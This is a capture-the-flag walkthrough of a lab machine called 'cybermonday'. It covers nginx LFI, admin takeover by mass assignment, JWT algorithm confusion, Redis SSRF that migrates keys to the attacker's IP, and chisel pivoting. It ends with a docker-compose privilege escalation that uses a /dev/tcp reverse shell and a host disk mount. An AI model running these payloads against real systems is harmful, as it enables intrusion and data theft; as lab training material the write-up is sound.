$ nmap -p- --min-rate 4000 10.129.214.150
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-21 15:25 +08
Nmap scan report for 10.129.214.150
Host is up (0.17s latency).
Not shown: 64394 closed tcp ports (conn-refused), 1139 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Did a detailed scan as well:
$ nmap -p 80 -sC -sV --min-rate 4000 10.129.214.150
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-21 15:26 +08
Nmap scan report for 10.129.214.150
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.25.1
|_http-server-header: nginx/1.25.1
|_http-title: Did not follow redirect to http://cybermonday.htb
We can add this host to our /etc/hosts file.
Web Enumeration -> Misconfigured Nginx Alias LFI
The website shows a shop:
There are a few products available:
When the traffic is proxied, we can see that there are some JWT tokens being passed around:
I tried creating a user and logging in.
The site is powered by PHP based on the X-Powered-By header. Since there was nothing much here, I did a feroxbuster scan to view the hidden directories. This revealed the assets directories with loads of stuff, but I couldn't really use all of it.
Since this was an nginx server, I checked Hacktricks and tested a few things, such as the nginx LFI exploit:
This caused a 403 to be returned, indicating that it might work. gobuster confirms this:
We seem to have an APP_KEY variable that might be handy later. Redis is also present on the machine.
Source Code Review -> Admin Takeover
There were quite a lot of files from the repository.
$ ls
app composer.json database phpunit.xml resources tests
artisan composer.lock lang public routes webpack.mix.js
bootstrap config package.json README.md storage
This was using the Laravel framework to operate, as most of the backend code is written in PHP. The routes/web.php file contained some information about the admin dashboard:
The next thing I wanted to find out was how the application determines if a user is an administrator or not, and the User.php file within app/Models has just that:
<?phpnamespaceApp\Models;useIlluminate\Contracts\Auth\MustVerifyEmail;useIlluminate\Database\Eloquent\Factories\HasFactory;useIlluminate\Foundation\Auth\Useras Authenticatable;useIlluminate\Notifications\Notifiable;useLaravel\Sanctum\HasApiTokens;classUserextendsAuthenticatable{useHasApiTokens,HasFactory,Notifiable;/** * The attributes that are mass assignable. * * @vararray<int, string> */protected $guarded = ['remember_token' ];/** * The attributes that should be hidden for serialization. * * @vararray<int, string> */protected $hidden = ['password','remember_token', ];/** * The attributes that should be cast. * * @vararray<string, string> */protected $casts = ['isAdmin'=>'boolean','email_verified_at'=>'datetime', ];publicfunctioninsert($data) { $data['password'] =bcrypt($data['password']);return$this->create($data); }}
It seems that there's an isAdmin boolean variable being set. We can change this to have a value of 1. Based on the code for the Profile Update, it seems to be taking parameters and directly passing them into the database.
I appended isAdmin=1 to the end of the POST parameters and updated my user's profile, which worked since the Dashboard appeared!
Admin Dashboard -> Webhook Subdomain
The changelog of the administrator's dashboard was the most interesting:
The link redirected us to webhooks-api-beta.cybermonday.htb, which we can add to the hosts file. Visiting that site revealed some kind of API:
Webhooks open up the possibilities of SSRF, and from the earlier .env file, we know that this machine uses Redis on port 6379, which we might need to interact with to get a password or something. The sendRequest action seems to be vulnerable to SSRF somehow.
To use this API, we first need to create a user.
Afterwards, logging in would return an x-access-token for us to use:
However, we are not authorized to create webhooks on this site with this token:
It's worth noting that the JWT token stored contains our user ID and our username:
There should be a way to spoof this token or get the secret required.
Algorithm Confusion -> Webhooks Access
I did a few scans using different wordlists via gobuster, and found some interesting stuff:
Seems that we have extra algorithm information about the JWT. When searching for exploits pertaining to this file, I found a page talking a bit about Algorithm Confusion exploits:
With this PEM, we can spoof tokens by changing the algorithm to HS256 instead of RS256. RS256 requires a public and private key, whereas HS256 only requires one key. SInce we have changed the algorithm used, the HS256 algorithm would use the public PEM key to sign the token.
I used Burpsuite extensions (JOSEPH and JWT Editor Keys) to attack this. First, we can edit the JWT to have this as the payload and header:
Afterwards, we can sign the token using the PEM string we got earlier using JOSEPH. Since JWTs are 3 separate fields separated by . characters, I just removed the signature part of the token from JWT Editor Keys:
Using this token, we can then access the /webhooks endpoint:
Redis SSRF -> Deserialisation RCE
Had some help here.
Now that we can create our own webhooks, we create a webhook with the action parameter set to sendRequest:
Using this, we can then send requests from the server:
POST /webhooks/6b1bca72-ecdd-4066-9cd9-8e739334eea1 HTTP/1.1Host:webhooks-api-beta.cybermonday.htbUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0x-access-token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.hsjDWoGJbgx_ygJe9nlfu4dNZHUZuF3Igy43NfKQ7aEAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateConnection:closeUpgrade-Insecure-Requests:1Content-Type:application/jsonContent-Length:51{"url":"http://10.10.14.32/iamssrf","method":"GET"}
Attempts to use any other protocol fails:
Very early on, we saw that we had a Redis server operating on the server when we read the .env file through the nginx LFI exploit. I know that its possible to interact with Redis through HTTP requests, and the SSRF for this machine returns the message retrieved from its request.
From the .env file, the REDIS_HOST variable is set to redis, indicating that we have to use that. On the Hacktricks page for Redis, there's an interesting part that talks about slaveof.
When I opened a listener port, this is what I got:
Hacktricks mentions that we might be able to control the master instance (the machine) with our slave. This means that we could potentially read stuff within the machine. To exploit this, we can first create a redis-server to accept incoming connections and retrieve output from the commands I sent via webhooks.
I found a blog in Chinese that does cover this a bit:
Following this, I started a redis-server with the protected mode turned off to allow connections from anywhere:
$ redis-server --protected-mode no
55358:C 24 Aug 2023 22:02:32.141 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
55358:C 24 Aug 2023 22:02:32.141 # Redis version=7.0.5, bits=64, commit=00000000, modified=0, pid=55358, just started
55358:C 24 Aug 2023 22:02:32.141 # Configuration loaded
55358:M 24 Aug 2023 22:02:32.141 * Increased maximum number of open files to 10032 (it was originally set to 1024).
55358:M 24 Aug 2023 22:02:32.141 * monotonic clock: POSIX clock_gettime
_._
_.-``__ ''-._
_.-`` `. `_. ''-._ Redis 7.0.5 (00000000/0) 64 bit
.-`` .-```. ```\/ _.,_ ''-._
( ' , .-` | `, ) Running in standalone mode
|`-._`-...-` __...-.``-._|'` _.-'| Port: 6379
| `-._ `._ / _.-' | PID: 55358
`-._ `-._ `-./ _.-' _.-'
|`-._`-._ `-.__.-' _.-'_.-'|
| `-._`-._ _.-'_.-' | https://redis.io
`-._ `-._`-.__.-'_.-' _.-'
|`-._`-._ `-.__.-' _.-'_.-'|
| `-._`-._ _.-'_.-' |
`-._ `-._`-.__.-'_.-' _.-'
`-._ `-.__.-' _.-'
`-._ _.-'
`-.__.-'
55358:M 24 Aug 2023 22:02:32.141 # Server initialized
55358:M 24 Aug 2023 22:02:32.141 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
55358:M 24 Aug 2023 22:02:32.142 * Loading RDB produced by version 7.0.5
55358:M 24 Aug 2023 22:02:32.142 * RDB age 4 seconds
55358:M 24 Aug 2023 22:02:32.142 * RDB memory usage when created 0.84 Mb
55358:M 24 Aug 2023 22:02:32.142 * Done loading RDB, keys loaded: 0, keys expired: 0.
55358:M 24 Aug 2023 22:02:32.142 * DB loaded from disk: 0.000 seconds
55358:M 24 Aug 2023 22:02:32.142 * Ready to accept connections
55358:M 24 Aug 2023 22:02:32.442 * Replica 10.129.65.142:6379 asks for synchronization
55358:M 24 Aug 2023 22:02:32.442 * Partial resynchronization not accepted: Replication ID mismatch (Replica asked for '520da79bde0fb674df0c059e7980ebba25040e40', my replication IDs are '878522e90fcf26e6072f9c4cc8a0d62d4a787242' and '0000000000000000000000000000000000000000')
55358:M 24 Aug 2023 22:02:32.442 * Replication backlog created, my new replication IDs are 'e541c01323ce2bfa0006957e83989894730c2cb7' and '0000000000000000000000000000000000000000'
55358:M 24 Aug 2023 22:02:32.442 * Delay next BGSAVE for diskless SYNC
55358:M 24 Aug 2023 22:02:37.169 * Starting BGSAVE for SYNC with target: replicas sockets
55358:M 24 Aug 2023 22:02:37.170 * Background RDB transfer started by pid 55383
55383:C 24 Aug 2023 22:02:37.170 * Fork CoW for RDB: current 0 MB, peak 0 MB, average 0 MB
55358:M 24 Aug 2023 22:02:37.171 # Diskless rdb transfer, done reading from pipe, 1 replicas still up.
55358:M 24 Aug 2023 22:02:37.185 * Background RDB transfer terminated with success
55358:M 24 Aug 2023 22:02:37.185 * Streamed RDB transfer with replica 10.129.65.142:6379 succeeded (socket). Waiting for REPLCONF ACK from slave to enable streaming
55358:M 24 Aug 2023 22:02:37.185 * Synchronization with replica 10.129.65.142:6379 succeeded
With this, we now need a way to export all the keys from the remote Redis server to our local machine. We can do so with this command I found here:
{"url":"http://redis:6379/","method":"EVAL 'for k,v in pairs(redis.call(\"KEYS\", \"*\")) do redis.pcall(\"MIGRATE\",\"10.10.14.32\",\"6379\",v,0,200) end' 0\r\n*1\r\n$20\r\n"}
The last parts are for handling the arguments passed to Redis:
Afterwards, we need to replicate the remote Redis database to our own. This would allow us to write to the remote Redis database if we need to:
{"url":"http://redis:6379/","method":"CONFIG SET replica-read-only no\r\n\r\n"}
We might obtain a read only replica error, which can be fixed with this:
{"url":"http://redis:6379/","method":"CONFIG SET replica-read-only no\r\n\r\n"}
After all of this, we can use redis-cli to view the keys present:
Since we have the APP_KEY variable retrieved earlier from the .env file, we can decode this cookie and potentially change it to have a reverse shell payload (if its being deserialised).
We can decrypt the cybermonday_session JWT token using this script from Hacktricks:
This gives the laravel_session cookie ID. Using this, we can attempt to set this to a PHP serialised object to get RCE since the cybermonday_session uses this value since we can manipulate the cookie value.
One of the things that stood out was the changelog.txt within /mnt, and within it I found the user flag:
www-data@070370e2cdc4:/mnt$ ls -la
total 40
drwxr-xr-x 5 1000 1000 4096 Aug 3 09:51 .
drwxr-xr-x 1 root root 4096 Jul 3 05:00 ..
lrwxrwxrwx 1 root root 9 Jun 4 02:07 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000 220 May 29 15:12 .bash_logout
-rw-r--r-- 1 1000 1000 3526 May 29 15:12 .bashrc
drwxr-xr-x 3 1000 1000 4096 Aug 3 09:51 .local
-rw-r--r-- 1 1000 1000 807 May 29 15:12 .profile
drwxr-xr-x 2 1000 1000 4096 Aug 3 09:51 .ssh
-rw-r--r-- 1 root root 701 May 29 23:26 changelog.txt
drwxrwxrwx 2 root root 4096 Aug 3 09:51 logs
-rw-r----- 1 root 1000 33 Aug 24 14:15 user.txt
www-data@070370e2cdc4:/mnt/.ssh$ cat authorized_keys
ssh-rsa <TRUNCATED> john@cybermonday
I couldn't read the user flag, but at least I got john as the user. There was also mention of the MySQL database, along with the username and password being root:root. I port forwarded this to my machine using chisel:
# on attacker./chiselserver-p4444--reverse# on machine./chiselclient10.10.14.32:4444R:3306:db:3306 (DB_HOST =dbfrom.env)
$ mysql -h 127.0.0.1 -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 39
Server version: 8.0.33 MySQL Community Server - GPL
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
There were some databases present:
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| cybermonday |
| information_schema |
| mysql |
| performance_schema |
| sys |
| webhooks_api |
+--------------------+
Within webhooks_api, we can see the different webhooks I created:
MySQL [webhooks_api]> select * from webhooks;
+----+--------------------------------------+-------+-------------------+---------------+
| id | uuid | name | description | action |
+----+--------------------------------------+-------+-------------------+---------------+
| 1 | fda96d32-e8c8-4301-8fb3-c821a316cf77 | tests | webhook for tests | createLogFile |
| 2 | e2ee722a-3a0c-49b6-be2c-a3a78463ce24 | test | test | sendRequest |
+----+--------------------------------------+-------+-------------------+---------------+
Not much here though.
Docker Registry -> Source Code -> LFI
There are likely more hosts present on the 172.18.0.0/24 subnet, which is the subnet the Docker container is on (read /etc/hosts file). To enumerate this, we can change our chisel command to use the SOCKS proxy instead of just port forwarding 1 port:
./chisel server -p 5555 --reverse
./chisel client 10.10.14.32:5555 R:socks
Afterwards, I downloaded and ran the nmap binary on the webhook Docker:
www-data@070370e2cdc4:/tmp$ ./nmap_binary -sn 172.18.0.0/24
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-08-24 15:36 UTC
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.18.0.1
Host is up (0.0061s latency).
Nmap scan report for cybermonday_redis_1.cybermonday_default (172.18.0.2)
Host is up (0.0048s latency).
Nmap scan report for cybermonday_api_1.cybermonday_default (172.18.0.3)
Host is up (0.0028s latency).
Nmap scan report for cybermonday_nginx_1.cybermonday_default (172.18.0.4)
Host is up (0.0023s latency).
Nmap scan report for 070370e2cdc4 (172.18.0.5)
Host is up (0.0020s latency).
Nmap scan report for cybermonday_registry_1.cybermonday_default (172.18.0.6)
Host is up (0.0019s latency).
Nmap scan report for cybermonday_db_1.cybermonday_default (172.18.0.7)
Host is up (0.0011s latency).
Nmap done: 256 IP addresses (7 hosts up) scanned in 16.63 seconds
There's a registry one, which is a hint towards enumerating a Docker registry instance:
We just need to specify a HTTP header X-Api-Key. Using this, we can try to exploit LFI next. Within the LogsController.php code, there's this interesting part:
$logPath ="/logs/{$webhook_find->name}/";
The name of the webhook seems to directly taken and used as the $logPath variable. We cannot use ../../../../ as the name using the web API. However, we do have access to the MySQL database.
Login to the MySQL database and insert this entry:
use webhooks_api;INSERT into webhooks VALUES (4,'02984d13-3974-4a9f-b31b-aa6a9557cb80','../../../../../../','desc','createLogFile');MySQL [webhooks_api]>select*from webhooks;+----+--------------------------------------+--------------------+-------------------+---------------+| id | uuid | name | description | action |+----+--------------------------------------+--------------------+-------------------+---------------+| 1 | fda96d32-e8c8-4301-8fb3-c821a316cf77 | tests | webhook for tests | createLogFile || 2 | e2ee722a-3a0c-49b6-be2c-a3a78463ce24 | test | test | sendRequest || 3 | 7de92b9b-e356-4b69-a6ba-8da32d218b3c | lfi | test | createLogFile || 4 | 02984d13-3974-4a9f-b31b-aa6a9557cb81 | lfi1 | test | createLogFile || 5 | 02984d13-3974-4a9f-b31b-aa6a9557cb80 | ../../../../../../ | desc | createLogFile |+----+--------------------------------------+--------------------+-------------------+---------------+
Now, we just need to bypass the string checks within the code using this:
LFI works! We don't have many files to read, so I started by reading the files within /proc to find stuff. Within the /proc/self/environ file, we can find a new password:
With this password, we can finally ssh in as the user and read the user flag:
Privilege Esclation 2
Sudo Privileges -> Docker-Compose YML File
john has can run sudo for one command:
john@cybermonday:~$ sudo -l
[sudo] password for john:
Matching Defaults entries for john on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User john may run the following commands on localhost:
(root) /opt/secure_compose.py *.ym
Here's the script:
#!/usr/bin/python3import sys, yaml, os, random, string, shutil, subprocess, signaldefget_user():return os.environ.get("SUDO_USER")defis_path_inside_whitelist(path): whitelist = [f"/home/{get_user()}","/mnt"]for allowed_path in whitelist:if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):returnTruereturnFalsedefcheck_whitelist(volumes):for volume in volumes: parts = volume.split(":")iflen(parts)==3andnotis_path_inside_whitelist(parts[0]):returnFalsereturnTruedefcheck_read_only(volumes):for volume in volumes:ifnot volume.endswith(":ro"):returnFalsereturnTruedefcheck_no_symlinks(volumes):for volume in volumes: parts = volume.split(":") path = parts[0]if os.path.islink(path):returnFalsereturnTruedefcheck_no_privileged(services):for service, config in services.items():if"privileged"in config and config["privileged"]isTrue:returnFalsereturnTruedefmain(filename):ifnot os.path.exists(filename):print(f"File not found")returnFalsewithopen(filename, "r")as file:try: data = yaml.safe_load(file)except yaml.YAMLError as e:print(f"Error: {e}")returnFalseif"services"notin data:print("Invalid docker-compose.yml")returnFalse services = data["services"]ifnotcheck_no_privileged(services):print("Privileged mode is not allowed.")returnFalsefor service, config in services.items():if"volumes"in config: volumes = config["volumes"]ifnotcheck_whitelist(volumes)ornotcheck_read_only(volumes):print(f"Service '{service}' is malicious.")returnFalseifnotcheck_no_symlinks(volumes):print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.")returnFalsereturnTruedefcreate_random_temp_dir(): letters_digits = string.ascii_letters + string.digits random_str =''.join(random.choice(letters_digits) for i inrange(6)) temp_dir =f"/tmp/tmp-{random_str}"return temp_dirdefcopy_docker_compose_to_temp_dir(filename,temp_dir): os.makedirs(temp_dir, exist_ok=True) shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml"))defcleanup(temp_dir): subprocess.run(["/usr/bin/docker-compose", "down", "--volumes"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) shutil.rmtree(temp_dir)defsignal_handler(sig,frame):print("\nSIGINT received. Cleaning up...")cleanup(temp_dir) sys.exit(1)if__name__=="__main__":iflen(sys.argv)!=2:print(f"Use: {sys.argv[0]} <docker-compose.yml>") sys.exit(1) filename = sys.argv[1]ifmain(filename): temp_dir =create_random_temp_dir()copy_docker_compose_to_temp_dir(filename, temp_dir) os.chdir(temp_dir) signal.signal(signal.SIGINT, signal_handler)print("Starting services...") result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)print("Finishing services")cleanup(temp_dir)
Essentially, this runs docker-compose as root using any YML file we create to spin up a Docker container based on an image we specify. There's also a lot of checks on the parameters we can and cannot specify.
Based on the script, we have to set the following:
Version set to 3
No symlinks can be used
No privileges can be set via config
Read only permissions
I referred to the documentation for Docker Compose file version 3 to create the YML file with all capabilities:
version:'3'services:api:image:cybermonday_api# existing image on the boxcommand:bash -c "bash -i >/dev/tcp/10.10.14.32/4444 0>&1 2<&1"cap_add: - ALL# set up docker escape to mount back onto main host machinedevices: - /dev/sda1:/dev/sda1
Using the above file would give us a reverse shell in the Docker container we create:
Afterwards, we can mount back onto the main machine since we have all capabilities. However, this does not work for some reason:
root@40792ce8edd1:/mnt# mount /dev/sda1 /mnt/
mount: /mnt: cannot mount /dev/sda1 read-only.
dmesg(1) may have more information after failed mount system call.
As it turns out, AppArmor may be running on the thing preventing us from reading it:
root@5f985fe0caa5:/var/www/html# mount /dev/sda1 /mnt/
root@5f985fe0caa5:/var/www/html# cd /mnt
root@5f985fe0caa5:/mnt# ls
bin home lib32 media root sys vmlinuz
boot initrd.img lib64 mnt run tmp vmlinuz.old
dev initrd.img.old libx32 opt sbin usr
etc lib lost+found proc srv var
Using this, we can write our public key to the root user's .ssh file: